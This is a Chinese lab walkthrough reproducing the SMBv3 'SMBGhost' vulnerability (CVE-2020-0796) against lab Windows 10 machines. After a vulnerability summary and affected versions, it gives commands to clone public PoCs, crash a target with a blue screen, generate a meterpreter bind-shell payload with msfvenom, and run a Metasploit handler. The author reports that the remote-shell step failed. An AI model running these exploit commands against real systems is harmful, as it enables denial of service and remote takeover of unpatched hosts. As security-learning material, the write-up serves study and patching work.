永恒之黑（CVE-2020-0796 微软SMBv3协议远程代码执行漏洞）
文章目录
- 一、漏洞简介：
- 二、影响版本：
- 三、实验环境：
- 四、漏洞复现
- 1.下载CVE-2020-0796漏洞扫描工具，对网段进行扫描
- 2.蓝屏复现
- 3.远程执行复现
一、漏洞简介：
3月12日，微软更新安全通告针对Windows SMBv3客户端/服务器远程代码执行漏洞紧急发布了安全补丁，确定该漏洞编号为CVE-2020-0796。
Microsoft Server Message Block 3.1.1(SMBv3)协议在处理某些请求的方式中存在代码执行漏洞。攻击者可以精心构造数据包发送到SMB服务器，无需经过身份验证，即可在目标服务器上执行任意代码。攻击者可通过部署一台恶意SMB v3服务器，并诱导用户（客户端）连接到该服务器，一旦目标用户连接，即可在计算机上执行攻击者自定义的恶意代码。
由于上述漏洞易被蠕虫利用传播恶意程序，推测可能在未来会成为恶意软件和攻击者广泛利用的漏洞，与WannaCry（2017年5月“永恒之蓝”）漏洞较为相似。目前漏洞细节已公开，请相关用户安装补丁进行防护。
二、影响版本：
该漏洞存在于 Windows 10 版本 1903 中添加的一项新功能中。Windows 的早期版本不支持 SMBv3.1.1 压缩并且不受影响。
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
三、实验环境：
靶机：192.168.159.129（Windows10 1903）
靶机：192.168.159.130（Windows10 1909）2020.1月更新的版本
攻击机：192.168.159.131（kali 2021-05-31）
四、漏洞复现
1.下载CVE-2020-0796漏洞扫描工具，对网段进行扫描
下载链接：http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
2.蓝屏复现
下载蓝屏POC
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
安装POC
python3 setup.py install
进行攻击
python3 CVE-2020-0796.py 192.168.159.130
3.远程执行复现
下载安装exp
git clone https://github.com/root-tools/SMBGhost_RCE_PoC生成payload
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -b '\x00' -f python > exploit-p 指定 payload LPORT 目标主机执行程序后打开的侦听端口 -b 去掉坏字符，坏字符会影响 payload 正常执行。 > exploit 将生成的 payload 代码保存到文件 exploit 中 \x00 代表16进制的“00”组成的字符串。通过ASCII码换成能识别的就是："00" - "00000000"- NUL。由于"00000000"是不可见字符，所以代码中没用。
把参数
buf改为USER_PAYLOAD替换
exploit.py里的代码
执行替换后的exp
python3 exploit.py -ip 192.168.159.130
启动msf监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.159.130
msf6 exploit(multi/handler) > exploit
不过，我在这里没做出来。。。无论怎么搞都是只能蓝屏不能反弹shell，懵逼ing
[漏洞通告]微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)PoC公开处置手册 原创 威胁对抗能力部 [绿盟科技安全情报](javascript:void(0) 更新 | 远程命令执行POC被公开发布:微软SMBv3服务远程代码执行漏洞(CVE-2020-0796)通告 原创 红雨滴团队 [奇安信威胁情报中心](javascript:void(0) 您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ... 报告编号:B6-2020-021601 这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了hack the box的OpenAdmin题目,结合Nmap.Gob ... 人和管理成为主要入侵突破口 安全需要人.技术.管理的全方位保障,然而人与管理由于其复杂性,常常成为入侵突破口.在 19 年处理的安全事件中,弱口令事件占比 22%,钓鱼邮件相关事件占比 7%,配置不当 ... 安全预警 漏洞:微软 Windows DNS Server 远程代码执行漏洞漏洞编号:CVE-2020-1350威胁程度:高影响范围: Windows Server 2008 for 32-bit S ... 漏洞描述 Internet Control Message Protocol (ICMP) 协议是TCP/IP协议簇的一个子协议,用于在IP主机.路由器之间传递控制消息.raw socket 是一种网 ... 漏洞背景 2019年8月14日微软发布的安全更新中除了RDP漏洞还涵盖了针对多个远程代码执行高危漏洞的修复. Microsoft Word远程代码执行漏洞, 漏洞编号CVE-2019-0585. Wi ... 文档信息 编号 QiAnXinTI-SV-2019-0022 关键字 IE JScript RCE 远程命令执行CVE-2019-1367 发布日期 2019年09月24日 更新日期 2019年09月 ...永恒之黑（CVE-2020-0796 微软SMBv3协议远程代码执行漏洞）相关推荐
最新文章
热门文章